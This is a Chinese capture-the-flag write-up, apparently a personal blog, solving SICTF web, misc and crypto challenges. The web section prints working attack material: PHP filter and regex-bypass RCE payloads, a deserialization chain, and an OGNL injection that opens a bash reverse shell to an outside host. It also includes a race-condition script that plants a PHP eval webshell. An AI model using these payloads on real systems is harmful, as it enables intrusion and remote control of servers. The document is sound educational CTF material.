# Web
# [签到] Include
php 伪协议直接读 /flag
?SICTF=php://filter/convert.base64-encode/resource=/flag |
# Baby_PHP
代码审计,正则绕过
进入题目是一大串 php 代码:
<?php | |
highlight_file(__FILE__); | |
error_reporting(0); | |
$query = $_SERVER['QUERY_STRING']; | |
if (preg_match('/_|%5f|\.|%2E/i', $query)) { | |
die('You are Hacker!'); | |
} | |
if($_GET['k_e_y'] !=='123' && preg_match('/^123$/',$_GET['k_e_y'])){ | |
echo("You are will Win!<br>"); | |
if(isset($_POST['command'])){ | |
$command = $_POST['command']; | |
if(!preg_match("/\~|\`|\@|\#|\\$|\%|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$command)){ | |
eval($command); | |
} | |
else{ | |
echo("You are Hacker!"); | |
} | |
} | |
} | |
else{ | |
echo("K_e_y is Errors!"); | |
} |
$_SERVER ['QUERY_STRING'] 获取查询语句,既要绕过 get 参数中下划线的的过滤,还要绕过正则匹配的 123
我们这里可以利用 php 字符串的解析特性进行 bypass
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过: |
/news.php?%20news[id%00=42"+AND+1=0--
上述 PHP 语句的参数 %20news [id%00 的值将存储到 $_GET ["news_id"] 中。
HP 需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1. 删除空白符
2. 将某些字符转换为下划线(包括空格)
例如:
User input | Decoded PHP | variable name |
---|---|---|
%20foo_bar%00 | foo_bar | foo_bar |
foo%20bar%00 | foo bar | foo_bar |
foo%5bbar | foo[bar | foo_bar |
本题我们可以用空格绕过下划线的过滤
这里说一下这个正则匹配的 ^ 和 $,这里进行了简单的测试
<?php | |
$subject = 'abcdef'; | |
$subject1 = 'abcdefs' | |
$subject2 = "def"; | |
$pattern = '/def/'; | |
$pattern = '/def$/' | |
preg_match($pattern,$subject,$matches); | |
print_r($matches); |
经过测试, $patern
为 /def/
时,只要被测字符串中含有 def
字符串,就会匹配到;而 $pattern
为 /def$/
时,被测字符串中含有 def
的部分必须是 def结尾
,才能够匹配到。 ^
亦然。
这个匹配可以通过在字符串结尾加上回车的 url 编码 %0A
来解决
第一层 payload:
/?k e y=123%0a
接下来就是绕过这句话:
if(!preg_match("/\~|\`|\@|\#|\\$|\%|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$command)){ | |
eval($command); | |
} |
command=system(ls);
得到回显
index.php,flag.php
此题目是典型的无参 rce,关于无参 rce 可以参考以下文章:
https://xz.aliyun.com/t/9360
https://zhuanlan.zhihu.com/p/414283215?utm_id=0
以下 payload 皆可行:
command=show_source(next(array_reverse(scandir(pos(localeconv())))));
POST command=session_start();system(session_id());
Cookie PHPSESSID=tac${IFS}flag.php
ID 中不能带空格所以用 ${IFS} 替代
Cookie:PHPSESSID=flag.php
command=show_source(session_id(session_start()));
command=eval(end(current(get_defined_vars())));
得到 flag。
# RCE
题目:
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
$code = $_POST['code']; | |
$code = str_replace("(","hacker",$code); | |
$code = str_replace(".","hacker",$code); | |
eval($code); | |
?> |
很直球的 rce,过滤了 '(' 号和 '.' 号,但发现没有过滤反引号,可直接命令执行。
payload:
code=echo `cat /fl*`;
code=?><?=`cat /f*`; // 这种是看一个大佬一种比较有意思的解法,用?><? 把前面的 php 文件闭合,再新建一个 php 文件执行代码,也就是相当于可以自己可以创建任何 php 文件,真是个天才。
# 我全都要
题目:
highlight_file(__FILE__); | |
class B{ | |
public $pop; | |
public $i; | |
public $nogame; | |
public function __destruct() | |
{ | |
if(preg_match("/233333333/",$this->pop)){ | |
echo "这是一道签到题,不能让新生一直做不出来遭受打击"; | |
} | |
} | |
public function game(){ | |
echo "扣1送地狱火"; | |
if ($this->i = "1"){ | |
echo '<img src=\'R.jpg\'>'; | |
$this->nogame->love(); | |
} | |
} | |
public function __clone(){ | |
echo "必须执行"; | |
eval($_POST["cmd"]); | |
} | |
} | |
class A{ | |
public $Aec; | |
public $girl; | |
public $boy; | |
public function __toString() | |
{ | |
echo "I also want to fall in love"; | |
if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){ | |
$this->Aec->game(); | |
} | |
} | |
} | |
class P{ | |
public $MyLover; | |
public function __call($name, $arguments) | |
{ | |
echo "有对象我会在这打CTF???看我克隆一个对象!"; | |
if ($name != "game") { | |
echo "打游戏去,别想着对象了"; | |
$this->MyLover = clone new B; | |
} | |
} | |
} | |
if ($_GET["A_B_C"]){ | |
$poc=$_GET["A_B_C"]; | |
unserialize($poc); | |
} |
简单的反序列化,直接上代码:
<?php | |
class B | |
{ | |
public $pop; | |
public $i; | |
public $nogame; | |
} | |
class A | |
{ | |
public $Aec; | |
public $girl = "QNKCDZO"; | |
public $boy = "240610708"; | |
} | |
class P | |
{ | |
public $MyLover; | |
} | |
$b = new B(); | |
$a = new A(); | |
$p = new P(); | |
$b -> pop = $a; | |
$a -> Aec = $b; | |
$b -> nogame = $p; | |
echo serialize($b); |
?A_B_C=O:1:"B":3:{s:3:"pop";O:1:"A":3:{s:3:"Aec";O:1:"B":3:{s:3:"pop";N;s:1:"i";i:1;s:6:"nogame";O:1:"P":1:{s:7:"MyLover";O:1:"B":3:{s:3:"pop";N;s:1:"i";i:1;s:6:"nogame";N;}}}s:4:"girl";a:1:{i:0;i:1;}s:3:"boy";a:1:{i:0;i:2;}}s:1:"i";i:1;s:6:"nogame";N;}
cmd=system('cat /f*');
# pain
参考博客 1
参考博客 2
1. 用 jd-gui
查看 jdk 文件的内容。
2. 在 pain.class
内,可以知道这是 Ognl的解析漏洞
。
3. 跟进 dinner_waf.let_me_see_see
方法,可以看到 waf。
JAVA 语言内部是用 Unicode 表示字符,所以 Unicode 会被自动解析
4. 可以看到,在检测 waf 前,会对 payload 进行一次 url 解码。尝试用 unicode 编码来绕过,发现可行。
5. 最后用这两条 poc 中的其中一个来进行反弹 shell。
题目附件:
//pain.class | |
package BOOT-INF.classes.com.example.pain.demos; | |
import com.example.pain.demos.dinner_waf; | |
import java.util.Map; | |
import ognl.Ognl; | |
import ognl.OgnlContext; | |
import ognl.OgnlException; | |
import org.springframework.web.bind.annotation.GetMapping; | |
import org.springframework.web.bind.annotation.RestController; | |
@RestController | |
public class pain { | |
@GetMapping({"/"}) | |
public String Welcome() { | |
return "It's so beautiful , Litang."; | |
} | |
@GetMapping({"/start"}) | |
public String MyPain(String payload) throws OgnlException { | |
if (dinner_waf.let_me_see_see(payload)) { | |
OgnlContext ognlContext = new OgnlContext(); | |
Object ognl = Ognl.parseExpression(payload); | |
Object value = Ognl.getValue(ognl, (Map)ognlContext, ognlContext.getRoot()); | |
return (String)value; | |
} | |
return "Feel my pain"; | |
} | |
} |
//dinner_waf.class | |
package BOOT-INF.classes.com.example.pain.demos; | |
import java.net.URLDecoder; | |
import java.util.Locale; | |
public class dinner_waf { | |
private static String[] black_list = new String[] { "Runtime", "exec", "get", "class", "+", "Process", "Script", "eval", "invoke", "forName" }; | |
public static boolean let_me_see_see(String payload) { | |
if (payload.isEmpty()) | |
return false; | |
String decode_payload = URLDecoder.decode(payload); | |
for (String s : black_list) { | |
if (decode_payload.toLowerCase(Locale.ROOT).contains(s.toLowerCase(Locale.ROOT))) | |
return false; | |
} | |
return true; | |
} | |
} |
payload:
#编码前 | |
(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"})).start() | |
#编码后 | |
/start?payload=(new%20java.lang.%5Cu0050%5Cu0072%5Cu006f%5Cu0063%5Cu0065%5Cu0073%5Cu0073%5Cu0042%5Cu0075%5Cu0069%5Cu006c%5Cu0064%5Cu0065%5Cu0072(new%20java.lang.String%5B%5D%7B%22bash%22%2C%22-c%22%2C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F7654du6216.zicp.fun%2F33699%200%3E%261%22%7D)).start() |
# 你能跟得上我的 speed 吗
题目:
<?php | |
if($_FILES["file"]["size"]>0){ | |
if ($_FILES["file"]["error"] > 0) { | |
echo "错误!!!!!!"; | |
die(); | |
} else { | |
$filename="./uploads/".$_FILES["file"]["name"]; | |
move_uploaded_file($_FILES["file"]["tmp_name"], $filename); | |
sleep(0.01); | |
unlink($filename); | |
} | |
}else{ | |
echo "你根本就没有上传,你到底在干什么?!"; | |
die(); | |
} | |
?> | |
<div><img src="smile.gif" alt="" /></div> | |
<h1>当你看见我的时候,你已经输了</h1> | |
<h1>一次战胜不了我,那就多来几次吧,万一你运气好比我快呢?</h1> |
条件竞争,储存 0.01 秒后删除文件
参考
文件上传之条件竞争
基本跟上面教程中的操作一模一样,开两个爆破,一个传马,一个访问
或者用官方给的脚本:
import threading | |
import requests | |
url = "" | |
def upload(): | |
while(True): | |
upload_result = requests.post(url+"upload.php", | |
files={"file": ("1.php","<?php | |
$op=fopen(\"shell.php\",\"a+\");fwrite($op,'<?php @eval($_POST[cmd]);? | |
>');fclose($op);echo(333) ?>")}, | |
headers={'Connection': 'close'} | |
) | |
global stop_threads | |
if stop_threads: | |
break | |
def getshell(): | |
while(True): | |
getshell_result = requests.get(url+"uploads/1.php", | |
headers={'Connection':'close'} | |
) | |
if "333" in getshell_result.text: | |
print("getshell!!!") | |
global stop_threads | |
stop_threads = True | |
break | |
stop_threads = False | |
threads= [] | |
t = threading.Thread(target=upload) # 开始扫描连接判断是否开启 | |
t2 = threading.Thread(target=getshell) | |
threads.append(t) | |
threads.append(t2) | |
t.start() | |
t2.start() | |
#这里还涉及一个知识点,想要更高效率的发包,就设置一个 header 头 Connection:close,请求完毕就会 | |
#将 connection 关闭,这样就不会占用连接。 | |
#如果不设置也能跑,只不过要跑很多次,就要看运气了,我这个脚本跑了一下很快就出了 |
# Do you know CC
cc 链,不会。
汪汪队的 wp
# Misc
# fast_morse
摩斯密码,长波短替换,或者使用 kali 的 morse2ascii 命令,不过最后得注意换成小写,附上一个在线网站:
Morse Code Audio Decoder | Morse Code World
# babyzip
bkcrack 明文爆破。
一位 misc 佬的链接
关于 bkcrack
先把 png 的头写到一个文件内。
bkcrack 攻击.
bkcrack.exe -C flag.zip -c flag.png -p plan.out -o 0 |
提取出 flag.png。
bkcrack.exe -C flag.zip -c flag.png -k 6424c164 7c334afd f99666e5 -d flag.png |
最后在 png 的尾部找到 flag。
# Crypto
# [签到] 古典大杂烩
给了一串表情密码:
🐩👃🐪🐼👅🐯🐩👈👇👭👟👝🐺🐭👉👙👤👋👚🐪🐫👍👢👮👱🐼👢👨👠👭🐽🐰🐻👚👂👧👠👥👛👮👯👮👬🐾👐👛👌👚👞🐨👏👉👆🐿👆👘👇🐺👦🐸👃🐭👟👑👪👃👁🐻🐻👜🐧👇👊🐧🐾🐼👇🐫🐺👐👆👪🐼👋👌👧🐻👐🐩🐺👥🐽👋👉🐰👎👠👠👣🐧🐫👧🐭👢🐯👑👑🐮👂👏🐻👥👚🐮👋👬👌👥👁👣👅👧👯👦👌👌👍👠👌🐽👉👃👊🐫👉🐨🐮👩👆🐪🐯👘👏👏🐼👩👍👊👍👡👀👰👋👣👨👧👍👜👐👛🐮👘👅👠🐿👂👰👄👈👝👠👤👃👛👘🐭👅👱👆👬👫👥👆🐽👁👐👥👊👇👉👊👩👌👭🐫🐫👬👱🐯👇🐺👁👞👑👙🐮👜👋👘👪👩👚👦👨👀👩👐👉👃🐾👥👀🐫👝👍🐩🐧👰👆👇👨🐪👃🐭👦🐫👱
最后解密方式为
Base100 → Base62 → Base64 → Base58 → Base32 → Base62
或者使用工具 ciphey:
附上下载链接
# Easy_CopperSmith
RSA 的 p 高位泄露。
源码:
PLAINTEXT | |
from Crypto.Util.number import * | |
from flag import flag | |
p = getPrime(512) | |
q = getPrime(512) | |
n = p * q | |
e = 65537 | |
leak = p >> 230 | |
m = bytes_to_long(flag) | |
c = pow(m,e,n) | |
print(n) | |
print(leak) | |
print(c) |
# sage | |
from Crypto.Util.number import long_to_bytes | |
from sage.all import * | |
def cop(leak): | |
n = 114007680041157617250208809154392208683967639953423906669116998085115503737001019559692895227927818755160444076128820965038044269092587109196557720941716578025622244634385547194563001079609897387390680250570961313174656874665690193604984942452581886657386063927035039087208310041149977622001887997061312418381 | |
p4= Integer(leak) | |
e = 0x10001 | |
pbits = 512 | |
kbits = pbits - p4.nbits() | |
print(p4.nbits() ) | |
p4 = p4 << kbits | |
PR.<x> = PolynomialRing(Zmod(n)) | |
f = x + p4 | |
roots = f.small_roots(X=2^kbits, beta=0.4) | |
if roots: | |
p = p4+int(roots[0]) | |
print ("n: ", n) | |
print ("p: ", p) | |
print ("q: ", n/p) | |
flag = long_to_bytes(int(pow(c,inverse_mod(e,(p-1)*((n/p)-1)),n))) | |
if b'SICTF' in flag: | |
print(flag.decode()) | |
c = 87627846271126693177889082381507430884663777705438987267317070845965070209704910716182088690758208915234427170455157948022843849997441546596567189456637997191173043345521331111329110083529853409188141263211030032553825858341099759209550785745319223409181813931086979471131074015406202979668575990074985441810 | |
for i in range(2*8): | |
leak_ = int(bin(6833525680083767201563383553257365403889275861180069149272377788671845720921410137177)+"{:03b}".format(i),2) | |
cop(leak_) |
结语:本次比赛受益良多,在做 web 的同时也感受到其他方向的乐趣,尤其是几道社工题,虽然后面是在社不动了......
期待明年的 Round3。